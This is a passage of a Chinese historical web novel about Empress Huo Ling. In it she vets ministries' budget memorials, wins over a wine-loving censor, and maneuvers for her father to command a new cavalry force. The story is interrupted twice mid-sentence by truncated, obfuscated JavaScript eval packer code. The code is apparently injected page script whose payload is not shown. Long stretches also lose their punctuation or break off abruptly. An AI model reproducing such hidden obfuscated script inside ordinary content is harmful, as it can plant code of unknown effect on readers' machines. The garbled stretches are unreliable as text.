相比之下,霍皇后提出的这个建议,实在是太有用、太高明了。 景元帝等了一会儿,见众人都不吭声:“看来众位爱卿也觉得这个提议不错。” 确实是不错。 不错到,众人都没好意思把袖中的折子掏出来。 但景元帝也没打算让众人就这么灰溜溜离开。 他主动开口,让众人留下了折子。 霍翎看着面前摞起的那沓折子,感慨道:“陛下真是好性子。” 景元帝笑着摇摇头:“也不好让他们就这么无功而返。既然他们连夜准备了折子,看看也无妨。” 想要练出一支能征善战的精锐骑兵,势必要砸下重金,国库那两百多万两都未必足够用。 但练兵这种事情,是一项长期投入。 这两百多万两不可能一下子都砸进去,先期花个几十万两就差不多了。 要是各部门真能拿出什么有益国计民生的举措,国库自然也是可以拨出银子的。 霍翎道:“您还要处理其它公文,再加上这堆折子,得看到什么时候去。” “算了, 各衙门应该也不急您有空的时候再慢慢看这堆折子。臣妾也不打扰您了……” 霍翎正要起身告辞却被景元帝拉住了。 “不急着走。” “朕一个人忙活今天肯定没办法忙完。” “阿翎心疼朕的话 霍翎身形一顿从两人交握着的手掌看到景元帝的眼睛。 以往景元帝瞧见一些特别的折子时也会随手递给她询问她的意见。 但她的意见对他来说只是一种参考。 真正在拿主意的人还是景元帝。 如今景元帝话里的意思分明是在说她若是觉得折子里的提议不好可以直接丢到一旁只留那些她觉得好的给他过目。 “要是让那些大臣知道此事肯定会说这不合规矩。” 景元帝又将昨天的玩笑话重复了一遍:“那朕就告诉他们这笔钱该怎么用朕得和皇后好好商量商量。” “这些折子又不涉及军国大事他们要是觉得不合规矩不愿意让皇后看到折子就过来将折子领回去银子也别想要了。” “朕看他们还有闲功夫顾忌这个顾忌那个想必是不急着用这笔钱的正好将这笔钱留给更急用的人。” 他的妻子能想出训练骑兵这样的好主意将这堆折子进行分门别类当然也难不住她。 她能做好他又何必拘泥于世俗之见将所有事情都一味揽在自己身上。 如果折子涉及到军国大事倒也罢了现在各衙门递上来的这沓折子主要是各衙门内部想要做的一些事情。 他在这方面稍稍偷个闲不好吗。 霍翎眼眸一弯也没有再推辞抱着这一摞折子去了另一张桌案。 她一本接着一本折子翻看过去。 看完后觉得不错的放在右手边可做可不做的放在左手边。 通过这些折子霍翎也算是对各部门的职权有了更深的了解。 比如说工部想要重新规划一下城北的地下排水渠道; 兵部想要多批一笔钱去研发新型弓 弩; 京兆府想要重新修葺一下牢房再多添置几套刑具; 国子监想要修建一座贤人堂将历代先贤的画像挂在贤人堂里供监生瞻仰…… 景元帝在批复公文的间隙不时抬眼看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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再加上批给工部尚书的三十万两,以及留出来给骑兵的银子,这两百五十万两就算是花得差不多了。 从头到尾,景元帝都没有再看过一眼那摞被霍翎否决掉的折子,只是让李满收走它们。 霍翎看着李满远去的身影,又看着那三本被景元帝妥善放好的折子,心底涌现出一种奇妙的滋味。 给人出主意和自己拿主意,是两种完全不同的体验。 给人出主意,最终是否采纳,全看对方的心意。 自己拿主意,相应的后果也要自己承担。 所以她在翻看这些折子时,往往是斟酌了再斟酌,生怕自己错过什么好的提议,又担心自己选的提议不够好,白白浪费了朝廷的一大笔银子。 在这样的紧张和忐忑中,她花了大半天的功夫,才堪堪将折子挑选完毕。 可是,相比起给人出主意,没有太大的心理负担,她更享受今天这种紧张、忐忑的心情。 更准确地说,她享受的不是这种心情,而是决策的感觉。 作者有话要说 写这章的时候,有一种莫名的既视感: 董事长发了一笔两亿的横财,于是各部门经理蜂拥而至,拿出连夜准备的部门项目策划书,想让董事长批点儿经费。 第 71 章 “多谢皇后娘娘赐... 第71章“多谢皇后娘娘赐 能凭着自己的意愿,去支持或驳回某本奏折,在大半天时间里,决定一百万银两的去向,这种决策的感觉,实在是太美好了。 离开御书房时,霍翎还意犹未尽。 她问景元帝能不能将那三本折子交给她。 “这些折子都是臣妾选出来的,臣妾也想知道它们施行后能取得怎样的结果。” 很快,这三个衙门的长官和户部尚书一起受到了宫里的召见。 这三个衙门顿时有种赢了头彩的感觉。 在听说陛下要组建骑兵后,他们原本都不抱什么希望了。谁曾想,他们递上去的折子,居然真的被陛下看中了。 但等几人进入皇宫,来到御书房后,景元帝一指身侧的霍翎:“皇后有事要寻你们。” 几人一愣。 皇后娘娘寻他们? 他们与皇后娘娘可没什么交情啊。 正面面相觑之时,霍翎拿起桌案上的三本折子,递给身后的崔弘益。 崔弘益将各衙门的折子,一一交还给各衙门的长官。 霍翎道:“三位大人的折子,陛下和本宫都看过了。你们回去以后,尽快做出更详尽的预算,等户部审查无误后,就麻烦曹尚书给他们批银子。” 几人在官场混迹多年,都是人精中的人精。 虽然皇后娘娘说,折子是由她和陛下一起看的,但陛下可说了,是皇后娘娘找他们进宫的。 这折子是谁挑选出来的,还用想吗。 被具体点到名的户部尚书率先出列应是。 三个衙门的长官在犹豫片刻后,也想开了。 不管折子是谁选出来的,受益的都是他们衙门。 要是在这个节骨眼上站出来,说一些让陛下和娘娘都不高兴的话,即将到手的几十万两银子飞了可怎么办? 皇后娘娘能从一堆折子里,将他们的折子挑选出来,可知皇后娘娘是何等高瞻远瞩、远见卓识,他们绝不能做一个目光短浅,让自己衙门痛、其它衙门快的人啊。 看着几人顺服的反应,霍翎侧头,朝景元帝微微一笑。 只要利益足够,即使是最顽固的臣子,也能放弃自己的 原则,坐视她在朝政上发出自己的声音。 “等各衙门开始动工后,每月月初,几位大人都要呈上一份折子,将过去一个月做了什么事情细细道来。” 在几人离开前,霍翎还好好交代了一番。 这些钱不是那么好拿的。 从她手里给出去的钱,她要看到效果。 即使几人离宫后没有刻意声张,但这会儿各衙门的人都盯着宫里、盯着户部呢,一看那三个衙门的长官和户部尚书一起进宫,暗道不妙,纷纷想办法打探消息。 打探着打探着,就听到了一些风声。 许多人嘴上难免念叨几句“不合规矩”。 但不管他们私底下如何念叨,没有哪个不长眼的人敢念叨到景元帝和霍翎面前。 霍翎的动作实在太快了。 等这些人听到风声的时候,三个衙门都已经收到户部拨下来的第一笔银子。 钱都给到位了,现在再说什么“不合规矩”,难道还想让三个衙门将到手的银子吐出去? 如此损人不利己的事情,没有谁愿意去做。 很快,众人的注意力再次被转移——在最近一次的大朝会上,景元帝当着满朝文武的面,正式提出要组建一支骑兵。 这个决定得到了满朝附议。 自从先帝北伐失败后,朝堂之上,主战派的声音越来越微弱,绝大多数人都不愿意再和北边的大穆开战。但是再支持主和的官员,在朝廷犹有余力的情况下,都不会拒绝多组建一支骑兵。 景元帝将此事交给兵部,让兵部先拟定出一份章程。 霍翎知道了前朝的决议后,也很高兴。 对于这支骑兵,霍翎心里是有一些想法的。 在局势还不明朗的时候,那些滑不溜手的重臣不会轻易站队到她身后。她只能去拉拢一些中下层官员,或是拉拢一些有潜力、有才能的年轻官员。 想要在短时间内强大自己的实力,最好的办法,就是强大她的家族。 在官场里,越往上走,位置就越少。 行唐关副将的职务不能说有多高,但在武将里,霍世鸣也是排得上号的人物。 如今大燕没有战事,霍世鸣不可能从战场上获取功劳,建立功勋;也不可能动主将周嘉慕 的位置,将周嘉慕取而代之。 在朝堂格局已经稳固的情况下,想要尽可能帮助霍世鸣晋升…… “组建骑兵这样一个与国有利,也完全符合霍翎个人利益的想法,就顺理成章冒了出来。 如果她能帮她爹争取到这个机会,让她爹来统领这支骑兵,霍家的实力就能更上一层楼。 但很快,霍翎又暗暗叹了口气。 这支骑兵的好处,她看得到,其他人也不瞎。 虽然霍翎相信霍世鸣的能力,但一来,霍世鸣从未接触过骑兵,二来,霍世鸣在军中的资历算不上深厚。等兵部那边制定出具体章程后,也不知道会有多少人下场争抢。 霍翎琢磨一番,也只能暂时将此事放到一边,先等兵部那边的章程出来后,再做进一步打算。 *** 从无到有组建一支骑兵,需要牵扯到方方面面,兵部的动作不可能太快。 几场秋雨过后,帝都一夜转凉。 霍翎今天起得比平日略晚些,掀开被子时,被那股凉意激得一下子清醒了。 无墨拉起床幔,为霍翎添上外衣,这才让其他宫女进来伺候霍翎梳洗。 霍翎道:“这天变得也太快了。 无墨道:“可不是嘛,昨天还热得不行。到了半夜,我和尚岚她们都起来多添了一床被子。 霍翎问:“信送出去了吗? 前些天她收到了霍世鸣送来的家书,原本是打算尽快回信的,正好碰到骑兵之事,霍翎就等到前朝出了结果,才给霍世鸣回了信,在信里提及此事。 “已经送出去了。无墨笑问,“尚服局那边送来了新做好的衣服,娘娘一会儿要去看看吗? 霍翎应了声好,又吩咐道:“让尚服局那边,给咱们宫里的人都做两身秋衣。 一听这话,周围伺候的宫人纷纷欢喜起来。 宫权在握,霍翎其实不需要做太多邀买人心的事情。但对她来说,不过随口吩咐一句,就能让宫人们在伺候时更尽心,惠而不费,为何不做。 用过早膳,霍翎先去了趟偏殿,看尚服局新送来的那些衣服。 衣服不需要试,都是按照她的尺寸量身定做的,一应料子也都是最好的,霍翎关心的还是样式合不合心意 。 正看着呢,就听外头传来请安的动静。 霍翎放下手里的衣服,望向走进殿内的景元帝,笑问:“陛下这会儿不应该在御书房处理政务吗?” 景元帝道:“朕打算出一趟宫。” 霍翎这才注意到景元帝换了一身青衣,腰间还别着一根紫箫,一身富贵闲散的打扮。 她愣了下,立刻反应过来:“陛下要带臣妾一起出宫吗?” 景元帝笑道:“快去换一身衣服。” “陛下要去哪里?” “你不是想见见丁景焕他们吗,朕今日正好要去一趟吏部。” 景元帝显然是有正事要办,霍翎也没让景元帝等太久。 她同样换了一身青色长裙,用一根发簪将头发尽数挽起,没有佩戴多余的饰品,就和景元帝一起出宫了。 为了方便处理公事,六部衙门都被安置在同一条巷子里。 马车驶入巷子,不时能看到身穿不同品阶官袍的官员在巷子里走动。 这还是霍翎第一次来六部衙门。 红墙黛瓦,翘角飞檐,六部衙门从外面看几乎一模一样,红色大门两侧都矗立着雄伟的石像。 不过,五部衙门外面矗立的石像都是石狮子,只有户部门口,摆着两头招财的貔貅。 霍翎打量了一番,客观评价:“六部衙门不如我想象中气派。” 景元帝朗声一笑:“这天底下最气派的地方,你已经见识过了,当然觉得六部衙门不过尔尔。” 景元帝出宫一事是和文盛安打过招呼的。 文盛安早早带着左右侍郎候在门口,瞧见景元帝的马车,当即迎上前去。 还没来得及出声请安,就先听到马车里传来景元帝爽朗的笑声。 文盛安心头一跳,已经猜到景元帝是在和谁说话了。 果然,马车帘子掀开,帝后相携而下。 文盛安心下叹气,老实行礼:“陛下和娘娘亲至,真是令吏部蓬荜生辉。” 霍翎欣赏了一番文盛安言不由衷的神情,就跟着景元帝一起走进吏部衙门。 大燕有“官不修衙”的传统,衙门外部只是看起来不够气派,内部却显得有些破败。尤其是秋天到了,原本茂盛的花木渐渐凋零,更添一丝寥 落。 霍翎说:“原本还以为文尚书是在说客套话。” 景元帝看向她等待她的下文。 霍翎说:“现在看来陛下和本宫的到来确实是令吏部蓬荜生辉。” 景元帝又是一笑:“促狭。” 心下却觉得霍翎出宫以后表现得比平时要亢奋一些。 文盛安抽了抽嘴角特别想开口插一句:娘娘嫌弃吏部衙门破败不如顺道给吏部也批一笔银两让他们修一修衙门吧。 一路上遇到不少吏部的官员。 很多人都没来得及看清景元帝和霍翎的相貌单是看见文盛安和两位侍郎在前领路作陪就猜到了两人的身份连忙抱着手里的东西退到一旁低头行礼直到帝后一行远去才敢重新抬头匆匆去忙自己的事情。 文盛安将帝后二人迎进议事厅命人奉上茶水又亲自取来一沓厚实的资料:“陛下 霍翎扫了几眼才知道景元帝这回微服私访所为何事。 其实还是和马政贪污案有关。 马政贪污案牵扯极广被杀被贬的官员多达几十人空出了许多官位。 这些官位大都是三品以下。 三品以下的官员升迁调度都由吏部来负责。 但这回涉及到的官员数目太多吏部不好擅专景元帝得知此事后干脆安排了一次微服私访正好也带霍翎出宫见见丁景焕几人。 *** “唉这京师的日子还不如在安平府的时候痛快。” 都察院某间屋舍堆满书稿的角落里丁景焕摊开一本杂记盖在脸上幽幽叹息。 去年夏天他被朝廷派去安平府暗访监牧区依靠自己的努力先是成为马贩子的座上宾每天都有免费的酒喝后来又一步步往上爬成为了安平府监牧区监牧使的好兄弟每天都有免费的美酒喝。 丁景焕喝着那些依靠自己的俸禄连一坛都买不起的美酒心里那叫一个感动送好兄弟去死的时候那叫一个不舍。 当朝廷派来的钦差带着禁卫军破门而入看着自家好兄弟被禁卫军摁倒在地丁景焕痛苦地闭上眼不忍心看自家好兄弟的惨状只能忧愁得又多喝了几杯酒离开宴席时还不忘捎走一坛酒。 要不是朝堂派去的钦差太铁面无私丁景焕回京时高低得把好兄弟家里的美酒都顺走。 没能顺走那些美酒丁景焕现在喝酒只能自己掏腰包。 想到这儿丁景焕猛地坐直遮在脸上的杂记掉落下来被他长臂一捞稳稳捞住。 “这个月是不是该发俸禄了?” 坐在隔壁的同僚听到动静接话道:“这才月初月底才发俸禄。” 丁景焕那张称得上是绮年玉貌的脸上露出痛苦扭曲之色。 “这不可能。我上个月的俸禄都花得差不多了怎么这个月的俸禄还没发下来。” 同僚无语丁景焕好酒这件事情都察院上上下下都知道。 毕竟能在左都御史设宴请客时一个劲埋头喝酒恨不得把长官家里的存酒都喝光的家伙还是非常罕见的。 要不是丁景焕这家伙做事有分寸从来不会在都察院里饮酒也不会带着酒气来上衙早就有不少看他不顺眼的同僚弹劾他了。 “你从安平府回来后朝堂不是赏了你不少好东西吗?” 丁景焕理直气壮:“你知道的我来京中这么长时间 同僚彻底不想搭理这家伙了起身就准备去用午膳。 丁景焕唉唉叹气整个人又重新瘫回椅子上琢磨着升迁的事情。 也不知道这回晋升以后能涨多少俸禄? 丁景焕正琢磨着俸禄的事情鼻子突然抽了抽再次坐直狭长眼眸微微眯起。 他用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“今日一见,果然是不虚此行。 丁景焕再自视甚高,听到这番夸奖,也难免有受宠若惊之感。 因为以皇后娘娘之尊荣,实在不需要对他这样一个着绿袍的小官员说什么客套话。 而且都察院消息灵通,丁景焕也听说过不少有关这位皇后娘娘的事迹,知道这位娘娘动起怒来,就是他的顶头上官陈御史,在她面前也讨不到什么好。 他郑重道:“娘娘过誉了。 霍翎笑了一下:“丁大人不必客气。 见状,跟在霍翎身后的崔弘益道:“听闻丁大人爱酒,娘娘就派奴才去樊楼买酒。奴才也不知道丁大人最爱哪一种酒,就随便买了几坛,也不知道丁大人喜不喜欢。 丁景焕 道:“我平生最爱的就是免费的酒。只要是免费的不管酒的味道如何都是好酒。” 崔弘益笑容满面:“有皇后娘娘的吩咐在奴才可不敢糊弄丁大人。” 一位上位者对下位者是什么态度其实不需要从上位者的言行只需要从她身边人的态度就能看出来。 不同俗流…… 想到皇后对他的这个评价丁景焕突然问:“娘娘以前可逛过都察院?” 霍翎道:“本宫是第一次过来。” 丁景焕:“若娘娘想要好好参观一下都察院臣愿亲自领路。” 和聪明人交谈就是轻松不过就在丁景焕话音落下的瞬间庭院外传来一阵脚步声。 无墨笑道:“定是陛下过来了。” 果然一行人簇拥着景元帝走了进来。 陈御史身为左都御史景元帝亲临都察院他肯定也是要陪在左右的。 结果刚一进来浓烈的酒香扑鼻而来陈御史顿时将杀人的目光投向丁景焕。 丁景焕大惊失色这是多么大的误会。 景元帝没注意到他们的眉眼官司 丁景焕顾不上洗清自己的冤屈先给景元帝行礼。 景元帝挥手免礼看向走到他身边的霍翎笑问:“你说要用酒引出丁御史这是成功引出来了?” 景元帝没有注意到陈御史杀人的目光霍翎却是扫见了。 她对陈御史解释同时也是为丁景焕解围:“还请陈御史见谅。” “是本宫与陛下打了个赌说姜太公钓鱼讲究的是愿者上钩丁御史是国之栋梁本宫想见他却不想直接派人传召他就用了这几坛酒和他开了个玩笑。” 陈御史稍稍松了口气。 丁景焕也听得心中一动。皇后娘娘说他不同俗流她用美酒引他出来的举动难道不是更不同俗流吗? 但不得不说比起直接传召还是这种方法更对他胃口。 “本宫与陛下还另有要事就不留下来参观都察院了。” 霍翎这句话显然是在回应丁景焕刚刚说的话。 紧接着霍翎又指着石桌上那些酒:“这酒是给丁大人买的丁大人请自便吧。” “尤其是那几碗竹叶青,既已盛了出来,就不要浪费。丁大人与陈御史一起喝了吧。” 说罢,霍翎和景元帝就一起离开了庭院。 丁景焕和陈御史连忙行礼恭送。 等到再也看不见帝后的身影,丁景焕轻咳一声,问陈御史:“陈大人,这酒,您要喝吗?” 陈御史狠狠瞪了丁景焕一眼。 丁景焕嘿嘿一笑:“我知道您老人家不会破例的,我帮您喝。”左右手同时伸出去,当着陈御史的面端起两碗,三两下就喝光了碗里的酒。 别说,在都察院,当着顶头上司的面,奉皇后娘娘的命令喝着免费的美酒,这酒简直是好喝到天上有人间无。 就在丁景焕准备伸出手去端最后一碗酒时,陈御史眼疾手快,抢在他前面端起了酒碗,骂道:“你这小子,就不能给我留一碗吗。” “再说了,本官这是破例吗。本官这是听从了皇后娘娘的吩咐。” 他在都察院这么多年,也是第一次光明正大在都察院喝酒啊。 差点被丁景焕这小子坏了他的好事。 丁景焕傻眼,但余光一扫,瞧见剩下那几坛美酒,再次眉开眼笑。 接下来半个月的酒不用愁了。 作者有话要说 第 72 章 中宫有孕。 第72章中宫有孕。 霍翎此次出宫,最大的收获就是,见到了包括丁景焕在内的五位年轻俊才。 这五人各有性格,各有风采,但给霍翎留下最深刻印象的,依旧是丁景焕。 类似这种“用酒引人”的无伤大雅的小手段,霍翎并非只对丁景焕一人用了。 但面对这种小手段,只有丁景焕表现得最自如、最受用。 他有非常明显的喜好,但如果有人将这种喜好视作他的弱点,那就大错特错。都察院里看他不顺眼的大有人在,迄今为止,依旧没有任何人抓到过他的错处。 看似狂放不羁,实则粗中有细。 从他伪装成马贩子,一步步成为监牧使的座上宾,就知道他的行事风格与寻常人颇为不同。 这种不同,才是霍翎最看重他的地方。 一位循规蹈矩的君子,当然也能被霍翎高看,却很难为霍翎所用。 而丁景焕,是有可能为她所用的。 趁着无锋入宫轮值,霍翎在御花园召见了他:“本宫没记错的话,当初你奉命护送钦差出京,去的是安平府吧?” 无锋应是。 霍翎道:“那你与丁御史关系如何?” 无锋有些讶异,但很快,他就收敛了神色:“属下在安平府时,多是护卫在钦差大人身边。不过与丁御史也有接触。额……” “他有好几次求上门来,说监牧使家中的美酒都是买来送给他的,希望钦差大人能尽数还给他,但钦差大人说那些酒都是赃物……” 霍翎失笑:“我寻你过来,是要你做一件事。” “娘娘请吩咐。” “不是什么难事。每月月初,你亲自上门给丁景焕送五坛酒。要最好的酒。” 在霍翎和无锋谈话的时候,其他人都退得远远的,只有无墨能留在身边。 听到这里,无墨疑惑:“为何一定要送五坛?” 霍翎道:“以丁景焕的酒量,五坛酒只能解他的馋,却不能让他喝得痛快。” 免费的酒不是那么好喝的。 尤其是她送的酒。 丁景焕想喝个痛快,就要有所表示。 无锋问:“娘娘,他要是 不愿收呢? 霍翎微微一笑:“都察院的陈御史都不敢不喝本宫的敬酒。他是个聪明人,不会做出这种不明智的事情。 等无锋按照霍翎的吩咐,带着五坛美酒登门时,立刻被涨了月俸却依旧钱袋空空的丁景焕迎了进去。 没办法,以前当七品小官的时候,喝的是最便宜的酒。现在好不容易立功升官了,要是还喝最便宜的酒,那他这功不是白立了,这官不是白升了吗!!! 这酒想买好的,价格自然就上去了,月俸自然还是和以前一样不够用了。 京师寸土寸金,绝大多数中下层官员都租不起内城的房子。为了照顾这些官员,朝堂建了不少廉租房来安置官员。 丁景焕独身一人,现在就住在廉租房里。 无锋走进里面一看,顿时被房子的简陋震惊到了。 好歹也是朝中正五品的官员,要不要穷得如此荡气回肠啊,多余的家具是一件都没有,厅堂里除了桌椅板凳就是乱七八糟的酒坛子。 丁景焕注意到无锋的神情,哈哈一笑:“无锋侍卫长别介意,这里对我来说只是个喝酒睡觉的地方,能住就行。 无锋意识到了自己的失态,连忙抱拳致歉:“丁御史至情至性,超凡脱俗,是我少见多怪,失礼了。 丁景焕搓了搓手,立刻改了对无锋的称呼,顺着杆子往上爬:“无锋兄弟要是实在不好意思,想请我喝酒赔礼的话,我就盛情难却了。 无锋面色古怪,下意识看了眼自己带来的五坛美酒,但转念一想,这五坛美酒的确不能算是他花钱买的。 只是,主动开口要他请酒赔礼,是不是太厚脸皮了点? 无锋一边腹诽,一边果断应道:“过几日休沐,我请丁御史去酒楼饮酒,不醉不归。 丁景焕大喜,送上门来的冤大……不,这分明是他一见如故的好兄弟啊。 丁景焕拉着无锋聊了好一通天,直到天色渐暗,丁景焕才和无锋依依惜别。 目送着无锋离开的身影,丁景焕没有起身相送,拎起离他最近的一坛酒,打开后闻了闻扑鼻而来的酒香:“上等的玉泉酒。 有美酒喝,丁景焕当然是高兴的。 但是一想到喝完这几坛美酒后,钱袋空空的他又要回去喝那些 寡淡无味的便宜酒水……丁景焕痛苦地闭上眼睛。 潇洒了这么多年,终于还是被人拿捏住了他的弱点。 丁景焕心下唏嘘,给自己狠狠满上一大碗酒。 “好喝!痛快!” 今朝有酒今朝醉,明日的事情,且等明日再看吧。 *** 兵部前前后后忙了两个多月,终于赶在腊月之前,将一应章程准备得差不多了。 兵部左侍郎亲自将足有一掌厚的章程,送到柳国公面前,请柳国公过目。 等柳国公确定没问题后,这份章程才会上呈给景元帝。 柳国公吩咐道:“你将东西放下,我这两天好好看看。” 等兵部左侍郎退下,柳国公坐回桌案前,却不急着翻看。 他在思考的,是另一件事。 时至今日,柳国公已经不敢小瞧霍皇后了。 在霍皇后没进京前,柳国公府是何等声势。 陛下和文盛安一直想打压勋贵,多年下来却收效甚微。 但在霍皇后进京以后,短短两三年的时候,柳国公府就深切体会到了什么叫“今不如昔”。 组建骑兵这个主意是由霍皇后提出来的,柳国公就难免要怀疑她的用心。 以霍世鸣的官职品阶,足够独领一军了。 霍皇后有没有想过为她爹争一争? 这一琢磨,就琢磨到了下衙的时间。柳国公回到府邸,二儿子柳通和孙子柳诚过来给他请安。 柳诚是柳通的长子,端王妃的堂弟,这几年一直在国子监读书。在柳世子外放以后,柳诚就被叫了回来。 如今柳国公府有什么迎来送往的事情,都是这位孙子在张罗。 儿子一辈,柳国公已经没什么指望了,他现在要做的就是好好培养孙子一辈。 所以等两人请过安后,柳国公将此事告诉了他们。 柳诚听完以后,面色十分凝重:“祖父,我们不能眼睁睁看着霍家坐大。这支骑兵,决不能落入霍家手里。” 柳国公颔首:“这支骑兵是由霍皇后提议组建的,好在霍世鸣此人在军中资历不足,又没有接触过骑兵。” “只要有各方面条件都比霍世鸣更合适的将领出现,霍皇后也不好亲自下场拉偏架。 ” 当然,在柳国公心里,是期待霍皇后下场拉偏架的。 从霍皇后入主中宫以后,就尽可能一碗水端平,从来不会因个人喜恶影响了行事和判断。 所有人都知道京兆尹邱鸿振是霍皇后的心腹,但不久前各衙门上折子请求景元帝批银两时,霍皇后并没有选中京兆府的折子,而是选了三个与她毫无交集的衙门。 这也是陛下愈发信重她,朝臣看到她涉足朝政却反应不大的原因。 一位才能出众、公允周全的皇后,是值得朝臣敬重的。 但是如果这位皇后亲自下场拉偏架,偏袒自己的家族,就是破坏了自己以前努力塑造出来的形象,有纵容外戚坐大之嫌。 柳通这会儿却突然插话:“爹,我们能举荐我们的人吗?” 不等柳国公勃然斥责,柳诚先一步道:“爹,这支骑兵,我们也不能要。” “不管这支骑兵最后落入谁的手里,只要能让霍皇后的算盘落空,对我们柳国公府来说就是好事。” 几日后的大朝会上,柳国公代表兵部,将组建骑兵的章程呈给景元帝。 原本还有些昏昏欲睡的众臣立刻打起精神。 组建骑兵的前期准备都由兵部负责。等兵部完成了这些前期工作后,这件事情就可以正式提上日程了。 眼下就要过年,招募新兵、训练骑兵的事情可以放到年后再做。 唯独一件事情,需要在年前敲定。 那就是这支骑兵的将领人选。 驻守在各地的大燕军队多达几十万,但只有两支骑兵。这两支骑兵的份量可想而知。 只要是武将,就没有不眼馋的。早在消息传开以后,不断有驻守在外地的武将给景元帝递折子,阐述自己关于组建骑兵的构思和想法,末了还腆着脸,求景元帝给一个表现的机会。 景元帝一看这种情况,就将此事交给吏部。 先由吏部那边整理出一份名单,他再从名单里挑出合心意的人选。 *** 消息传回凤仪宫时,霍翎正在用早膳。 近来京师下起了鹅毛大雪,行走在外面,隔了几步远,就会被风雪阻挡视线。但这种寒冷被彻底拦在了凤仪宫外面。 待在温暖如春的凤仪宫里 ,霍翎这几天都是睡到日上三竿才起来。 吃完最后一勺粥,霍翎让身边伺候的宫女又给她添了半碗。 无墨道:“娘娘这两天胃口不错。” 尚岚道:“听说御膳房最近新换了个厨子,是新来的厨子做的东西更合娘娘心意吗?” 霍翎道:“可能是这几天外面太冷了。” 几人说话时,崔弘益在外求见。 霍翎一边吃着粥,一边听着崔弘益打探来的消息,神色如常:“本宫知道了。” 朝臣的反应都在霍翎意料之中,比起这个,她更关心无锋那边的情况。 “你去找无锋时,他怎么说?” 崔弘益忍笑:“无锋侍卫长一直在和奴才叫苦。” 霍翎道:“以无锋的性子,在丁景焕面前估计讨不了什么好。” 崔弘益认同:“可不是嘛,丁御史花光自己的俸禄后,总能寻到借口去找无锋侍卫长请客。” “无锋侍卫长说,丁御史一个劲和他称兄道弟,一点儿都不见外,现在已经把他的俸禄当成自己的俸禄来花了。” 听到“称兄道弟”四个字,霍翎也忍不住笑了:“丁景焕是拿准了无锋会同意。” 丁景焕的上一个好兄弟,可是被他亲自送上了断头台。 这一个好兄弟,不至于到上断头台的地步,但月俸什么的,看样子也别想保住了。 无锋是听从她的命令去接近丁景焕的,当然不会因为这点儿小事就和丁景焕翻脸。丁景 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除了家学渊源外,郦淮本人通读兵书,经历过北伐一战。他所率领的军队,是北伐一战中为数不多的亮点。此后,郦淮驻守地方,没有再指挥过什么重大战争,但在地方上也多有剿匪之功。 第二个人叫安鸿羽,这也是一位老将,常年驻守在燕北前线。 两国交界之处并不太平,大穆仗着骑兵来去自如的优点,经常将小股正规军伪装成盗匪,闯入大燕的国土劫掠边境百姓。 等到大燕的军队听到消息赶过去时,村庄里只剩满目疮痍。 安鸿羽驻守前线期间,想方设法让大穆的骑兵吃了几次亏,让他们不敢再像以前那样猖狂,因此深受朝廷信任。 第三位则是霍世鸣。 介绍到霍世鸣时,文盛安道:“承恩公的身份远高于前面两位将军。身为行唐关副将,也有资格领兵一方。 “平定羌戎叛乱之时,承恩公更是深入七百里瀚海沙漠,直奔羌戎王帐。 景元帝颔首:“朕听文卿的意思,是更看好郦淮。 文盛安回答得滴水不漏,看不出太多立场倾向:“论资历,其实是安将军最合适。 景元帝敲了敲折子,不动声色道:“你先退下吧。 吏部选出来的这份名单,十分经得起推敲,无论是排在第一位的郦淮还是排在第二位的安鸿羽,都是景元帝用了多年的臣子。 在他们两人面前,霍世鸣就显得十分不够看了。 但要说霍世鸣的名字不配列在上面,那也不是。 不管怎么样,组建骑兵一事是皇后娘娘最先提出来的。就算不论其它,单是考虑到这一点,都要给皇后娘娘一个面子。 霍翎也很快听说了这份名单。 她怀中抱着一个汤婆子,坐在暖阁里,望着窗外白雪纷纷,银装素裹,心下反复思量。 “娘娘,燕西那边又来信了。 无墨的声音打断了霍翎的沉思。 霍翎回头,拆开信 封。 在信里霍世鸣委婉表达了自己对骑兵主将这个位置的渴望。 此外他还在信里详细描述了他成为骑兵主将后对霍家、对霍翎会有多大的好处。 霍翎将后面那部分内容反复看了两遍轻笑了一声。 无墨不明所以:“除了这封信外还有一车老爷和夫人送给娘娘的年礼都是燕西的特产。无锋问我们要怎么处理。” 霍翎将看完的书信丢进火炉里:“东西都好生收着。” 无墨犹豫了下轻声问:“娘娘老爷在信里都说了些什么?” “爹爹问我能不能帮他争取到骑兵主将的位置。” “这不正是娘娘的打算吗怎么娘娘看起来不太高兴?” “没什么。”霍翎终究还是没说什么 无墨小声道:“是陛下那边……” 霍翎叹了口气:“不仅是陛下那边还有朝臣那边。” “爹爹在军中根基还是太浅了。有郦将军和安将军在前面顶着如果我爹越过他们被提拔上去朝中所有物议都要落在我身上。” 无墨有些不甘心:“难道我们就放弃了吗娘娘谋划了这么久。” 霍翎摇头:“这么好的机会摆在眼前当然不可能放弃。但是我需要一个能顺理成章推爹爹上位的理由。” 她身为皇后可以有私心可以偏袒自己的家族。 但如果她想要一个好名声方便自己以后的行事就要拿捏住分寸不能表现得太过火。 理由……霍翎一时半会儿还真想不出什么好的理由。 但朝臣那边显然不愿给霍翎太多时间去思考。 也许是名单中“霍世鸣”的存在引起了一些朝臣的警惕。 外戚从来都是为朝臣所不耻和打压的一时间不少朝臣都上书举荐郦淮和安鸿羽。 尤其是安鸿羽这位老将要资历有资历要能力有能力常年在燕北前线驻守与大穆的骑兵交锋过很多次算是大燕军中少有的熟悉骑兵的将领。 看着这股浩荡的声势柳国公长舒口气觉得一切都稳了。 但就在景元二十三年最后一次大朝会即将召开是时候正式宣布主将人选之时一个消息打得所有人措手不及。 中宫有孕。 作者有话要说 第 73 章 在这后宫之中,一... 第73章在这后宫之中一 自从组建骑兵一事被提上日程后,朝中纷扰不断。 霍翎明面上不好出手私底下却在反复斟酌思量。 长时间劳心伤神再加上寒冬腊月为了保证宫殿里的温暖,炭火总是烧得很足,在室内待久了,就不免昏昏欲睡。 所以这段时间以来,霍翎每天都会晚上半个时辰起床。 她的胃口也变大了。 